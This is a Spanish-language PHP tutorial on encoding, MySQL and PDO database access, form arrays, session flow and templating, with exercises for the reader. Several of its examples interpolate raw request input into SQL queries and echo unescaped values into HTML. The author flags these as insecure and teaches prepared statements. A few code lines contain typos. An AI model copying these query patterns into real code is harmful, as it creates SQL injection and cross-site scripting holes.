Las reglas básicas para alcanzar un buen resultado son:

  1. Definir en nuestro proyecto la codificación que vamos a usar, pues si no, se empleará la que ponga el servidor web por defecto e impedirá la portabilidad del mismo a otros servidores.
  2. Definirla en todos los programas, usando por ejemplo header('Content-type: text/html; charset="UTF-8"'); y también en la base de datos: al crear las tablas definir el juego de caracteres (el cotejamiento es de menor importancia), por ejemplo: CREATE TABLE .... CHARSET=utf8 COLLATE=utf8_spanish_ci.
  3. Usar la misma codificación para todo, no deben usarse funciones de conversión, excepto si no queda más remedio: sólo cuando nuestros progrmamas toman datos de fuentes externas que vienen en otra codificación.
Para poder editar los textos en la codificación elegida, debe operarse con cuidado. Casi todos los editores autodetectan la codificación, pero en los que se usan en un terminal hay que tomar precauciones: primero poner el propio terminal en el código elegido (suele estar en el menú del terminal) y después crear el entorno adecuado para el editor. Por ejemplo para editar en UTF-8 con vi, haremos, desde el shell: export LC_ALL=es_ES.UTF-8; vi mgr.php.

Acceso a base de datos ^

El uso de PHP con base de datos es típico. Por motivos históricos y de compatibilidad, en los ejemplos de este texto se emplea el API original de MySQL, pero cuando se dispone de PHP5, debe emplearse la interfaz PDO que se explica al final de esta sección. Tampoco hay porqué usar sistemáticamente MySQL en los proyectos web, si dominas las bases de datos es mejor idea usar PostgreSQL.
Fundamentos
Lo primero es conectar con el servidor MySQL, para lo que se requiere un usuario y una contraseña. Después se debe seleccionar la base de datos:  
  $hServ
=mysql_connect("localhost","miuser","mipassword")
                or 
salir("No se pudo conectar con el servidor MySQL");
  
$dbSel=mysql_select_db("mibase")
                or 
salir("Error al abrir la Base de Datos.");
  
A partir de este punto ya podemos lanzar consultas. Obsérvese que, al seleccionar la base de datos, no le he indicado el servidor en el que se encuentra (es un parámetro opcional). Muchas funciones de MySQL siguen este patrón, tomando la última llamada a una función MySQL como referencia. En el ejemplo, al usar un solo servidor y una sola base de datos, $hServ y $dbSel no son necesarias.
Una consulta típica puede ser:  
  $col
=$_GET['col'];
  
$qu=mysql_query("select * from tabla where col = '$col'");
  while (
$fil=mysql_fetch_assoc($qu))
    echo 
$fil['otracol'];
  
Es importante señalar dos cosas. En primer lugar, al usar $col directamente en la consulta incurrimos en un grave problema de seguridad. En segundo lugar, de las diversas funciones mysql_fetch_ debemos usar, en general, mysql_fetch_assoc y no mysql_fetch_row. De este modo, si se altera la tabla, el código php seguirá siendo válido. Puede usarse mysql_fetch_row en una situación como ésta:  
  
list($nume)=mysql_fetch_row(
    
mysql_query(
      
"select count(*) from tabla"));
  
Las inserciones en tablas, deben hacerse siempre indicando las columnas y no sólo los valores:  
  mysql_query
("insert into tabla (col1,col2) values ('v1','v2')");
  
$clprim=mysql_insert_id();
  
El ejemplo muestra, además, cómo debe obtenerse el valor del último auto increment insertado.
Cuando estamos depurando nuestro programa, es conveniente llamar a mysq_error() tras cada operacion MySQL, para no trabajar a ciegas:  
  $qu
=mysql_query("select .... complicado");
  echo 
mysq_error();
  
Ejemplos con formularios ^
Insertar datos en una BdD a partir de un formulario es sencillo, pero modificar una tabla considerando los datos que ya están almacenados, es más complejo. El siguiente ejemplo permite la edición de una tabla con una clave primaria de un solo golpe. Explotamos la propiedad explicada de PHP de que si el nombre de un campo input de un formulario tiene la forma nombre[indice], al enviarlo, PHP construye automáticamente un array. Así podemos enviar campos con los nombres columna1[23], columna2[23], etc., donde 23 sería el valor de la clave primaria para esa fila. El código sería:  
  $ind
='prim'// la clave primaria de la tabla se llama prim
  
echo '<form method="post">';
  
$qu=mysql_query("select * from edtabla");
  while (
$fi=mysql_fetch_assoc($qu)) {
    
$idx=$fi[$ind];
    echo 
"$idx:";
    foreach (
$fi as $col => $val) {
      if (
$col != $ind)
        echo 
" <input name=\"$col&#93;$idx]\" value=\"$val\">"// el 93 evita error sintáctico
    
}
    echo 
"<br>";
  }
  echo 
'<input type=submit value="Modificar"></form>'

Esta es la forma en que normalmente trabajaremos con BdD y formularios. Pero para nuestro ejemplo, el inconveniente de este método es que, hecho el post, PHP se encontrará con una serie de arrays, pero no hay una forma de saber cuales son sin volver ha hacer la consulta. En su lugar puedo usar nombres de campos input del tipo vals[$col][$idx], de modo que lo que recibirá PHP será un único array de arrays:  
  $ind
='prim';
  echo 
'<form method="post">';
  if (
$vals=$_POST['vals']) {
    foreach(
$vals as $col => $filas)
      foreach(
$filas as $idx => $val)
        
mysql_query("update edtabla set `$col` = '$val' where $ind = '$idx'");
  }
  else {
    
$qu=mysql_query("select * from edtabla");
    while (
$fi=mysql_fetch_assoc($qu)) {
      
$idx=$fi[$ind];
      echo 
"$idx:";
      foreach (
$fi as $col => $val) {
       if (
$col != $ind)
         echo 
" <input name=\"vals[$col][$idx]\" value=\"$val\">";
      }
      echo 
"<br>";
    }
  }
  echo 
'<input type=submit value="Modificar"></form>';
  
Si quiero hacer sólo un update por fila, el código es el siguiente, bastante enrevesado:  
  $ind
='prim';
  echo 
'<form method="post">';
  if (
$vals=$_POST['vals']) {
    
// debo trasponer $vals, ver el else
    
$uno=current($vals); // primer campo, lo uso para sacar los ind
    
$cols=[]; // columnas
    
foreach($vals as $col => $dum)
      
$cols[]=$col;
    
// recorro
    
foreach($uno as $idx => $dum) {
      
$up="";
      echo 
"$idx:";
      foreach(
$cols as $col) {
        
$val=$vals[$col][$idx];
        
$up.=", `$col` = '$val'";
        echo 
" <input name=\"vals[$col][$idx]\" value=\"$val\">";
      }
      
mysql_query("update edtabla set".substr($up,1)." where $ind = '$idx'");
      echo 
"<br>";
    }
  }
  else {
    
$qu=mysql_query("select * from edtabla");
    while (
$fi=mysql_fetch_assoc($qu)) {
      
$idx=$fi[$ind];
      echo 
"$idx:";
      foreach (
$fi as $col => $val) {
       if (
$col != $ind)
         echo 
" <input name=\"vals[$col][$idx]\" value=\"$val\">";
      }
      echo 
"<br>";
    }
  }
  echo 
'<input type=submit value="Modificar"></form>';
  
Para evitar la trasposición puedo alterar la presentación del formulario y usar los nombres de los campos como índices del índice S-{, es menos intuitivo pero simplifica el código: <?

  $ind
='prim'// clave primaria de la tabla
  
echo '<form method="post">';
  if (
$vals=$_POST['vals']) {
    foreach(
$vals as $idx => $fil) {
      
$up="";
      echo 
"$idx:";
      foreach(
$fil as $col => $val) {
        
$up.=", `$col` = '$val'";
        echo 
" <input name=\"vals[$idx][$col]\" value=\"$val\">\n";
      }
      
$q="update edtabla set".substr($up,1)." where $ind = '$idx'";
      echo 
"<br>$q";
      
mysql_query($q);
      echo 
mysql_error();
      echo 
"<br>";
    }
  }
  else {
    
$qu=mysql_query("select * from edtabla");
    while (
$fi=mysql_fetch_assoc($qu)) {
      
$idx=$fi[$ind];
      echo 
"$idx:";
      foreach (
$fi as $col => $val) {
        if (
$col != $ind)
          echo 
" <input name=\"vals[$idx][$col]\" value=\"$val\">\n";
      }
      echo 
"<br>";
    }
  }
  echo 
'<input type=submit value="Modificar"></form>';

La realización del "update" tal y como la he plasmado, es bastante insegura, como ya hemos comentado antes.
Modifica el código para que acepte que los valores de la tabla contengan caracteres extraños y especialmente el carácter ". Y por supuesto que sea seguro.

Un tema interesante aparece cuando las columnas de la tabla se prestan a construir campos select o checkbox en lugar de los habituales input. Por ejemplo, pensemos en el ejemplo anterior, pero con una tabla donde las columnas sólo puedan tomar los valores verdadero o falso. El código correspondiente al else del ejemplo anterior, quedaría como (sólo la parte del foreach):  
  
foreach ($fi as $col => $val) {
    if (
$col != $ind) {
      echo 
" <input name=\"vals[$idx][$col]\" value=1";
      if (
$val)
        echo 
' checked';
      echo 
">\n";
    }
  } 

O más escueto:  
  
foreach ($fi as $col => $val)
    if (
$col != $ind)
      echo 
" <input name=\"vals[$idx][$col]\" value=1".
                 ((
$val' checked' '').">\n";
  

Puede apreciarse que el valor es siempre 1, pero el checkbox aparecerá pre-marcado si el valor era verdadero, y sin marcar si era falso. El problema aparece al procesar el formulario: el navegador no envía los nombres de los checkbox que no están marcados. Por ello no puedo utilizar el mismo código que en el ejemplo con campos text, donde recorría $_POST['vals'], sino que deberé acudir a la base de datos y ver si para cada pareja ($idx,$col) está presente (el valor será siempre 1) el correspondiente $_POST['vals'][$idx][$col].

Muy importante: escribe el script completo que procese una tabla con checkboxes y comprueba su funcionamiento.

En el caso de un campo select la programación del procesado del formulario es la misma que en el ejemplo con campos text, pues en el caso de un select, el navegador sí que envía siempre el campo, con la selección hecha por el usuario o la que hubiese por defecto. Supongamos una tabla en la que los campos sólo pudieran tomar los valores pera, manzana o naranja, el código para generar el formulario sería;  
  
foreach ($fi as $col => $val)
    if (
$col != $ind) {
      echo 
" <select name=\"vals[$idx][$col]\">\n";
      foreach(
$opciones as $valor=>$texto)
        echo 
'<option value=\"'.htmlspecialchars($valor).'"'.
                 ((
$valor == $val) ? ' selected' '').">$texto\n";
      echo 
"</select>\n";
    }
  
Previamente (al inicio del programa o justo después del else), habré definido:  
  $opciones
=array("pera" => "Una perita",
                  
"manzana" => "Una manzanita",
                  
"naranja" => "La naranja",);
  

Escribir el script completo que procese una tabla con selects y comprueba su funcionamiento.
Otros motores de base de datos ^
El uso de MySQL es típico en PHP, he descrito su uso con las funciones primitivas de PHP. Esta forma de acceder a BdD tiene al menos dos inconvenientes. En primer lugar si queremos cambiar el motor de BdD, debemos reescribir nuestro programa. En segundo lugar la seguridad queda de nuestra mano, teniendo que escapar las sentencias para evitar inyección de SQL.

Si quisiera cambiar a PostgreSQL tendría que cambiar todas las llamadas mysql_ a llamadas pg_. Para otros motores puede ser más complejo, pues puede que no existan funciones tan "primitivas" como para MySQL o PostgreSQL. La solución es usar una capa de abstracción de BdD, que nos permita no tener que modificar el programa para cambiar de motor de BdD.

Existen diversas capas de abstracción, yo me quedo com PDO. PDO es un módulo compilado que se distribuye siempre desde PHP 5.1, de modo que lo encontraremos instalado en instalaciones nuevas de PHP. Por otra parte, cuando se instala el soporte de una nase de datos, por ejemplo MySQL (a nivel de sistema, algo como apt-get install php5-mysql), también se instala el módulo complemento de PDO. La enorme ventaja frente a capas PEAR es la eficiencia, especialmente en programas pequeños.

PDO permite además construir sentencias SQL seguras gracias al pre-procesamiento de las consultas, veamos su uso, por ejemplo con la interesante BdD SQlite, que no necesita un motor en marcha, sino que trabaja directamente sobre ficheros. PDO trabaja con objetos, que aunque no están descritos en este documento, en este caso son muy sencillos de usar.

Para iniciar, debemos conectar con el sistema de BdD:  
  
try {
    
$db = new PDO("sqlite:mifichero.db");
    
$db->exec("PRAGMA synchronous =  0"); // para que SQLite vaya rápido
  
} catch (PDOException $e) {
    die(
"db init");
  } 
Las sentencias SQL se dividen en dos tipos, los select y el resto. Si queremos hacer una inserción, operamos:  
  $db
->exec("insert into tabla (campo1, campo2) values ('$valor1','$valor2')");

El método exec devuelve el número de columnas implicadas en la consulta, en este caso las insertadas. El inconveniente es que estamos como en las funciones tipo mysql_, debemos escapar los valores que insertamos. PDO nos propone una alternativa:  
  $st
=$db->prepare("insert into tabla (campo1, campo2) values (?,?)");
  
que prepara una consulta más segura, pues analiza la sentencia y el lugar donde ponemos los ?, devolviendo un objeto de tipo sentencia PDO, que podemos ejecutar con:  
  $st
->execute(array($valor1,$valor2));
  
produciendo la ejecución de la sentencia con los ? sustituídos por los valores del array. Una forma más elegante de hacerlo es:  
  $st
=$db->prepare("insert into tabla (campo1, campo2) values (?,?)");
  
$st->bindParam(1,$una_variable,PDO::PARAM_STR);
  
$st->bindParam(2,$otra_variable,PDO::PARAM_STR);
  
$una_variable="Hola";
  
$otra_variable="Que tal";
  
$st->execute();
  
$una_variable="Yo muy bien";
  
$otra_variable="Yo igual";
  
$st->execute();
  
El método bindParam establece una relación entre el ? , numerado a partir de 1, y una varibale, tomando el valor que tiene en el momento de llamar a execute.

Si queremos controlar el error, podemos hacer algo como:  
  
if (!$st->execute(array($valor1,$valor2)))
    
error_db($st,$db);
  
donde la función error_db sería algo como:  
  
function error_db($s,$d) {
    list(
$dum1,$dum2,$er1)=$s->errorInfo();
    list(
$dum1,$dum2,$er2)=$d->errorInfo();
    die(
"Error en BdD $er1 $er2");
  }
Las consultas tipo select se realizan con el método query, que devuelve un objeto sentencia PDO, cuyo resultado se puede obtener con el método fetchAll que nos devuelve en una array de arrays toda la consulta completa, o con el método fetch que nos devuelve una sola fila:  
  
list($c1,$c2,$c3,$c4)=$db->query("select c1,c2,c3,c4 from tabla limit 0,1")->fetch(PDO::FETCH_NUM);
  
Una consulta select requiere siempre que nos aseguremos de haber leído todas las filas (en el ejemplo nos aseguramos de que sólo hubiese una). Si debemos abortar un bucle de llamadas a fetch, debemos llamar a closeCursor() y poner el objeto sentencia PDO a NULL, por ejemplo:  
  $q
=$db->query("select * from tabla where c1 > 0");
  while (
$f=$q->fetch(PDO::FETCH_ASSOC)) {
    if (
$f['c2'] < 0) break;
    echo 
"{$f['c1']} {$f['c2']}<br>\n";
  }
  
$q->closeCursor(); $q=null;
  
De nuevo tenemos un método elegante de asociar resultados con variables, usando bindColumn:
  $q
=$db->query("select * from tabla where c1 > 0");
  
$q->bindColumn("c1",$vc1,PDO::PARAM_INT);
  
$q->bindColumn("c2",$vc2,PDO::PARAM_INT);
  while (
$f=$q->fetch(PDO::FETCH_BOUND)) {
    if (
$vc2 0) break;
    echo 
"$vc1 $vc2<br>\n";
  }
  
$q->closeCursor(); $q=null;
  

Usando PDO, si queremos cambiar el motor de base de datos, bastaría con cambiar la instanciación del objeto por algo como:  
  $db 
= new PDO("mysql:dbname=$myDb;host=$myHost;charset=utf8",$myUser,$myPass);
  
y estaríamos trabajando con un motor MySQL.

En el caso de usar SQLite, ¿dónde hemos colocado el fichero de BdB?; ¿es accesible vía web?. Piensa en una solución.
Por último ciertas consideraciones al usar PDO si se desea compatibilizar entre varias bases de datos. Dado que MySQL usa el caracter ` para los campos y el resto de motores usan ', es importante que todos los campos estén en minúsculas y formados por caracteres sencillos sin espacios. Por ottra parte, en algunos motores como PostgreSQL manejar BLOBs es difícil: PDO está tan optimizado que resulta casi inoperativo. Quizá lo mejor es evitar estos campos.

Librerías, PEAR, PECL ^

PHP permite que desde un script se carge código de otro script, mediante el uso de las sentencias include y require. Hay que tener presente que el código incluido, a nivel de carga computacional, es como si estuviera en nuestro script, es decir, salvo que se usen compiladores o caches, el código debe ser interpretado cada vez que se ejecuta nuestro script. Podemos encontrar en la red gran cantidad de librerías PHP escritas en PHP que pueden ser incluidas en nuestros programas aumentando su funcionalidad. De todas ellas destaca PEAR, una colección de paquetes de software escrito en PHP. La gran ventaja de PEAR es la facilidad para instalar el paquete a nivel de sistema, evitando que cada aplicación tenga que llevar una copia del mismo. En una distribución tipo Debian, por ejemplo, basta con instalar:apt-get install php-pearpara tener lista una herramienta que a su vez nos permite instalar las librerías PEAR, por ejemplo:pear search OAuth nos muestra que PEAR dispone una librería para el protocolo OAuth, que instalamos según:pear install HTTP_OAuth Paralelamente a PEAR existe PECL. El código PEAR es código PHP, con la ventaja de depuración que implica, pero con la carga computacional que puede suponer incluir grandes librerías en pequeños programas. En cambio PECL son extensiones a PHP escritas en C. Es decir que amplian la funcionalidad de PHP a muy bajo nivel, consiguiendo una gran eficiencia. La interfaz de PECL es la misma que la de PEAR, de modo que instalar una extensión PECL es muy sencillo, comparado con la complejidad de hacerlo a mano, por ejemplo para instalar un depurador: pecl search debug
pecl install xdebug

En genral podemos afirmar que es preferible usar PECL a PEAR, pero no nos encontraremos en esa disyuntiva normalmente, porque la misión de uno y de otro es bien diferente.

Programación web 1.0 ^

Programación guiada por eventos
El modelo de programación que nos conviene utilizar en el mundo web es la Programación guiada por eventos. En este modelo, una vez diseñado el interfaz del usuario, nos centramos en programar código que atienda los distintos sucesos que pueden acaecer por la acción del usuario.

En programación web clásica (formularios sin javascript), los formularios se envían por la pulsación de los botones de tipo submit. Por tanto nuestro programa averiguará el botón pulsado y ejecutará el código apropiado para el tratamiento de los datos que puedan estar presentes cuando se haya pulsado el botón.

Tomemos el ejempo de la multiplicación de dos números, básicamente hay 3 interfaces:

Dame el primer número
Dame el segundo número
Resultado: xxxxx
Estos interfaces suponen 3 acciones, provocadas por sus respectivos botones. Así el tratamiento sería:  
  inicia_session
;
  
elige boton entre:
    
"entra el primer número":
      
guarda en sesión el dato de entrada y pide el segundo;
    
"entra el seguindo número":
      
realiza la multiplicación y muestra el resultado;
    
"otra multiplicación":
    
"nada":
      
pedir primer número;
  
Observa la necesidad de iniciar sesión para poder guardar el primer número. Dos consideraciones muy importantes:
  • Sería incorrecto usar otro medio que no fuera la variable de sessión para almacenar en el servidor un dato temporal sin valor estructural para futuras ejecuciones de la aplicación.
    Es decir, imaginemos que tenemos una aplicación que actualiza datos de una base de datos, pero antes de realizar la actualización, son necesarios varios interfaces de usuario. Todos los datos temporales se guardarán en la sesión, no en la base de datos.
  • La sesión se inicia al inicio. Esto parece obio, pero hay quien piensa que debe iniciarse sólo cuando se necesita, lo que genera complejas situaciones difíciles de programar. Por ejemplo, en nuestro programa multiplicador, necesitamos la sesión cuando entra el primer número y ya no la necesitamos al mostrar el resultado. Sería un esfuerzo baldío que la iniciásemos y la destuyésemos justo cuando hace falta. Se inicia al principio y ya se encargará de destruirla el recoge-migajas del sistema.
A la hora de escribir el programa en HTML+PHP, debo pensar en cómo distinguir los distintos botones. Una posible práctica es llamarlos a todos igual, así podré usar una sentencia switch y distinguirlos por el value. No es conveniente por la sencilla razón que el value, desafortunadamente, es lo que se muestra al usuario. Por tanto forma parte del interfaz y no del programa. Es decir, que puede ser objeto de cambio por parte del diseñador, de una traducción (interfaz multilingüe), etc. Por ello debemos distinguirlos por el name que es el otro dato que se envía. Si lo hacemos así, deberemos usar una sentencia del tipo:  
  
if ($_GET['tal_boton'])
    ...
  else if (
$_GET['tal_otro_boton'])
    ...
  else
  ...
  if (
$_GET['ultimo_boton'])
    ...
  
Para evitar esta ineficiente y antiestética programación, podemos usar una facilidad de PHP ya explicada: definir los botones como un array, siempre con el mismo nombre, pero con distintos índices. El código sería: <?
  session_start
();
  echo 
'<form>';
  switch (@
key($_GET['boton'])) {
    case 
'entraNum1':
      
$_SESSION['n1']=$_GET['n1'];
      echo 
'Dame el segundo número <input name=n2 size=5>'.
           
' <input type=submit name="boton[entraNum2]" value="Continuar">';
      break;
    case 
'entraNum2':
      echo 
'Resultado: '.($_SESSION['n1']*$_GET['n2']).
           
' <input type=submit name="boton[otraMulti]" value="Otra multiplicación">';
      break;
    case 
'otraMulti':
    default:
      echo 
'Dame el primer número <input name=n1 size=5>'.
           
' <input type=submit name="boton[entraNum1]" value="Continuar">';
      break;
  }
  echo 
'</form>';
?>
En el programa, todos los botones se llaman boton, y se obtiene cuál de ellos es con la función key(), que es llamada con el operador @ porque la primera vez no existe el botón y se produce un warning.

El programa que he construido es correcto, pero tiene un grave defecto. Está concebido para que exista una sola instancia del mismo. Pero los navegadores actuales soportan la existencia de múltiples ventanas o pestañas y todas ellas comparten la misma sesión de navegación sobre una URL dada. En el programa anterior, supongamos que un usuario abre dos ventanas y carga en ellas el programa. En ambas le pide el primer número. En una introduce 5 y pulsa Continuar y en la otra, después, introduce 6 y pulsa Continuar. El número almacenado en sesión para las dos ventanas es 6. En ambas pide el segundo número y si introduce 7 en ambas, el producto resulta será, en ambas ventanas, 42, lo que es incorrecto en una de ellas, pues debería ser 35.

Hay varias formas de resolver el problema. Una de ellas es no usar sesiones, sino campos ocultos (input de tipo hidden), con lo que cada ventana arrastrará sus propios datos. El inconveniente es que si la aplicación es compleja puede llegar a arrastrar muchos campos ocultos, lo que es verdaderamente engorroso para el programador. Otra solución es emplear sesiones como he hecho, pero controlando el flujo del programa: al abrir la segunda ventana, si ya hay otra abierta, debe indicar error, no permitiendo dos ventanas a la vez. La forma de hacerlo es:
  
case 'entraNum2':
     .......
     unset(
$_SESSION['n1']);
     break;
  case 
'otraMulti':
  default:
    if (isset(
$_SESSION['n1']))
      die(
"error en el flujo de la aplicación");
  
El inconveniente de este método es que si el usuario no llega hasta el final donde se elimina la restricción y cierra la ventana, no puede volver a usar la aplicación sin cerrar el navegador.

Implementar el ejemplo y comprobar que efectivamente es ese el problema.

El tercer método es combinar campos ocultos y sesiones para crear un sistema multisesión. Cada vez que se accede a la aplicación, en este ejemplo cada vez que se pide el primer número, se genera un código de sub-sesión que se arrastra por la aplicación mediante un campo oculto.
  
default:
    
$idsubses=uniqid("",true);
    echo 
"<input type=hidden name=idsubs value=\"$idsubses\">....
  
Ése es el único campo oculto que se emplea, y en la aplicación, se usa como índice para la sub-sesión:
  session_start
();
  
$subses=&$_SESSION[$idsubses=$_REQUEST['idsubs']];
  .....
  case 
'entraNum1':
    
$subses['n1']=$_GET['n1'];
    echo 
"<input type=hidden name=idsubs value=\"$idsubses\">....
  
El método funciona perfectamente si, como en el ejemplo, las ejecuciones de la aplicación son totalmente inpendientes.

Pensemos un caso más complejo. Sea una aplicación que muestra un selector de las tablas de una base de datos y al elegir, muestra un formulario que permite editar la base de datos, como en el ejemplo de los formularios. Utilizando el método de las subsesiones, o simplemente mediante un campo oculto (en este caso es sencillo) podríamos editar dos tablas diferentes en dos ventanas diferentes. Pero ¿qué sucederá si el usuario decide editar la misma tabla en dos ventanas diferentes?. Obviamente, es el usuario quien debe darse cuanta de que no debe hacerlo.

¿Y si el usuario no se da cuenta? ¿Puede evitarse que el usuario edite en dos ventanas la misma tabla? El problema de evitar la edición simultánea es irresoluble con sesiones. Piensa por qué. Piensa una solución general, aunque sea con otros mecanismos diferentes de la sesiones.
Un posible método ^
A modo de resumen, unas ideas básicas para construir un programa estructurado y claro:
  1. Diseñar cuidadosamente los interfaces de usuario. Marcarán toda la programación.
    1. Determinar cuantos y cuales son los interfaces.
    2. Diseñar cuidadosamente cada uno.
    3. Usar para los elementos input, select, etc. los mismos nombres que los correspondientes campos de la BdD si procede.
    4. Usar el mismo nombre con diferente índice para los botones.
  2. Iniciar sesión al principio del programa.
  3. Inicializar las plantillas.
  4. Inicializar los idiomas si es multilingue.
  5. Inicializar la base de datos.
  6. Escribir el código que trate las diferentes condiciones de entrada (normalmente botones pulsados).
Más adelante, desarrollo un ejemplo completo de lo aquí expuesto.
Plantillas ^
Un programa PHP, según lo visto hasta ahora es una mezcla de HTML y código fuente PHP. Esto no es mala idea si el programador y el diseñador son la misma persona, pero no debería ser lo habitual. El programador debe ser (co-)responsable del diseño del interfaz de usuario, pero esto nada tiene que ver con el diseño estético, que debería dejarse en manos de un profesional. El problema es que estos profesionales suelen utilizar herramientas para el diseño que a veces destrozan el código PHP. En cualquier caso, la posible modificación accidental del código fuente PHP es un riesgo que no podemos correr. Para asistirnos en este extremo, aparecen las plantillas.

La plantilla es simplemente una página web, con todos los elementos de diseño que queramos introducir (o inicialmente ninguno). El programador construye una primera versión de la plantilla, de acuerdo con criterios de diseño de entornos de usuario y que cumpla los requerimientos del programa. Esta página tendrá unos datos fijos y algunos variables, que deberán ser generados por PHP. Estos elementos se marcan de alguna forma (según diga nuestro software de plantillas) para indicar su naturaleza.

Aparte, el programador construye el programa. En él, cuando quiere mostrar HTML, lee la plantilla, sustituye los datos variables por expresiones de su programa y muestra el resultado.

Cuando el programador termina la aplicación, entrega las plantillas a un diseñador, quien simplemente respetando las marcas de datos variables, que normalmente no son etiquetas HTML sino texto simple, aportará el diseño adecuado a la página y devolverá al programador las nuevas plantillas. Éste sustituirá las viejas por las nuevas y probará la aplicación.

A modo de ejemplo, implementemos nuestro propio sistema de plantillas (muy elementales). Tomamos un ejemplo clásico:
  <html>
  <body>
  Son las <?php echo strftime("%H"); ?>
  horas
  </body>
  </html>

y lo sustituimos por:   <html>
  <body>
  Son las {HORA}
  horas
  </body>
  </html>

que es HTML sin PHP. Guardamos este texto en el archivo plantilla1.phtml y a continuación escribimos el programa:

 
  $plantilla
=file_get_contents("plantilla1.html");
  
$plantilla=preg_replace('/{HORA}/',strftime("%H"),$plantilla);
  echo 
$plantilla;
  
Son las 07 horas

El programa carga la plantilla, sustituye la etiqueta {HORA} por la hora actual y muestra el resultado.

Obviamente el caso general no es tan sencillo.

Si el resultado de la ejecución del programa es una tabla con un número indeterminado de filas, lo que corresponde es hacer el diseño para una fila y en tiempo de ejecución, replicar la fila tantas veces como sea necesario. Por ejemplo, dada la plantilla (plantilla2.html):
  <table border>
  <!-- inicio zona a replicar -->
  <tr><td>{DATO1}<td>{DATO2}</tr>
  <!-- fin zona a replicar -->
  </table>

si la ejecución del programa produce 3 filas, deberá convertirse en tiempo de ejecución en algo como:
  <table border>
  <tr><td>Un dato1<td>Un dato2</tr>
  <tr><td>Otro dato1<td>Otro dato2</tr>
  <tr><td>Otro dato1 más<td>Otro dato2 más</tr>
  </table>

lo que no se consigue trivialmente.

Un programador profesional debe tender a usar plantillas. Existen multitud de sistemas de plantillas. Uno de ellos es smarty, que lo comento el primero para descartarlo. smarty es potente, con muchas funciones ... que nadie necesita. Además la idea de separar diseño y programación no está muy clara en tanto que smarty permite (e induce a) incluir código del propio smarty en las plantillas.

Un sistema de plantillas antiguo y bastante o utlizado es FastTemplate, basado en ideas de Perl, del cual yo he testeado, con resultados satisfactorios, una de sus variantes, class.rFastTemplate.php.

PEAR incluye varios sistemas de plantillas, el más popular es HTML_Template_IT o su versión extendida HTML_Template_Sigma. La ventaja de esta última es ante todo la compilación de las plantillas, lo que mejora bastante el rendimiento (velocidad) del sistema de plantillas (o sea, de nuestro programa) comparado con sistemas de plantillas que no compilan. Compilar significa que la primera vez que se carga la plantilla (o si se modifica), el sistema de plantillas realiza una copia procesada de la misma, de modo que cuando se vuelve a usar no hay que procesarla y por ello carga más deprisa.

La gran ventaja de usar PEAR es la facilidad de instalación: pear search HTML_Templatenos muestra la lista de sistemas de plantillas, que instalamos simplemente haciendo:pear install HTML_Template_Sigma

Escribamos nuestro primer programa con plantillas:  
  
/*1*/ require_once "HTML/Template/Sigma.php";
  
/*2*/ $tpl= new HTML_Template_Sigma("plantillas","plantillas-compiladas");
  
/*3*/ $tpl->loadTemplateFile("plantilla1.html");
  
/*4*/ $tpl->setVariable("HORA",strftime("%H"));
  
/*5*/ $tpl->show();
  

Son las 07 horas

En la línea 1 incluimos el código de HTML_Template_Sigma y en la 2 creamos un objeto plantilla, indicando que las plantillas las encontrará en el directorio plantillas y que guarde las plantillas compiladas en plantillas-compiladas. En la 3, cargamos la misma plantilla de antes, plantilla1.html. En la 4 establecemos el valor de la variable y en la 5 la mostramos.

Ahora, resolvamos el problema planteado anteriormente con plantilla2.html:   <html>
  <body>
  <table border>
  <!-- BEGIN fila -->
    <tr><td>{nombre}<td>{apellidos}</tr>
  <!-- END fila -->
  </table>
  </body>
  </html>

Usemos el siguiente código:  
        
require_once "HTML/Template/Sigma.php";
        
$tpl= new HTML_Template_Sigma("plantillas","plantillas-compiladas");

  
/*1*/ $tpl->loadTemplateFile("plantilla2.html");

  
/*2*/ $datos=array(array("nom"=>"Manuel","ape"=>"Mollar Villanueva"),
                     array(
"nom"=>"Lucas","ape"=>"Grijander"),);

  
/*4*/ foreach ($datos as $persona) {
          
$tpl->setVariable(array("nombre" => $persona["nom"],
                          
"apellidos" => $persona["ape"],));
  
/*5*/   $tpl->parse("fila");
        }
  
/*6*/ $tpl->show();
  

ManuelMollar Villanueva
LucasGrijander
En la marca 1 hemos cargado la plantilla plantilla2.html. En la marca 2, simulamos una consulta a base de datos, rellenando el array $datos con un par de nombres y apellidos. En 4, recorremos $datos y asignamos a la etiqueta (de la plantilla) nombre el dato correspondiente, y lo mismo para apellidos. Antes de pasar a la siguiente fila, debemos cerrar el bloque que marcado en la plantilla como fila, para lo que en 5, estamos invocando al método parse. Así conseguimos que lo que hay entre BEGIN fila y END fila se incluya una vez en el resultado. Como esto se hace una vez para cada elemento (hay 2) de $datos, al final tendré dos instancias del bloque fila. Al final, en 6, mostramos el resultado del procesamiento.

Es importante insistir en la consideración de rendimiento. Procesar una plantilla no es inmediato. Representa cargar un texto, analizarlo (con un programa escrito normalmente en PHP) y realizar las sustituciones. Esto requiere un tiempo de ejecución no despreciable que hay que tener en cuenta. Por eso algunos sistemas de plantilas las pre-compilan, pero aun así hay un coste. Un sistema con una carga tremenda se verá afectado por las plantillas, especialmente por plantillas dinámicas donde, por ejemplo, se repliquen filas de una tabla. La consecuencia es que a veces acaba siendo necesario combinar plantillas con la tradicional inclusión de HTML por razón de prestaciones.

Por último veamos un ejemplo con doble anidación (fila/columna), donde las consideraciones de rendimiento son todavía más importantes:   <html>
  <body>
  <table border>
  <!-- BEGIN fila -->
    <tr>
    <!-- BEGIN columna -->
      <td>{dato}
    <!-- END columna -->
    </tr>
  <!-- END fila -->
  </table>
  </body>
  </html>

Y el código:  
  
require_once "HTML/Template/Sigma.php";
  
$tpl= new HTML_Template_Sigma("plantillas","plantillas-compiladas");
  
$tpl->loadTemplateFile("plantilla3.html");
  
$datos=array(array("nom"=>"Manuel","ape"=>"Mollar Villanueva"),
               array(
"nom"=>"Lucas","ape"=>"Grijander"),);
  foreach (
$datos as $persona) {
    foreach (
$persona as $dato) {
      
$tpl->setVariable("dato",$dato);
      
$tpl->parse("columna");
    }
    
$tpl->parse("fila");
  }
  
$tpl->show();
  

ManuelMollar Villanueva
LucasGrijander
Ejemplos ^
Vamos a construir un ejemplo de web 1.0 con lo que sabemos hasta ahora. Supongamos que tenemos un video-club que admite reservas por internet. Como no hemos explicado técnicas de autenticación, hagámoslo sencillo (y probablemente muy utilizable). Quien atiende el video-club es quien mantiene la lista de películas disponibles para alquiler, lo hace desde la aplicación que tiene en el mostrador de la tienda. El objeto de la web es que, potenciales clientes, desde su casa, puedan reservar películas para ir a cojerlas al video-club personalmente o solicitar que las envíen a su domicilio. El cliente se autentica por su DNI + teléfono, entra en la web y puede reservar hasta 3 películas durante 1 hora.

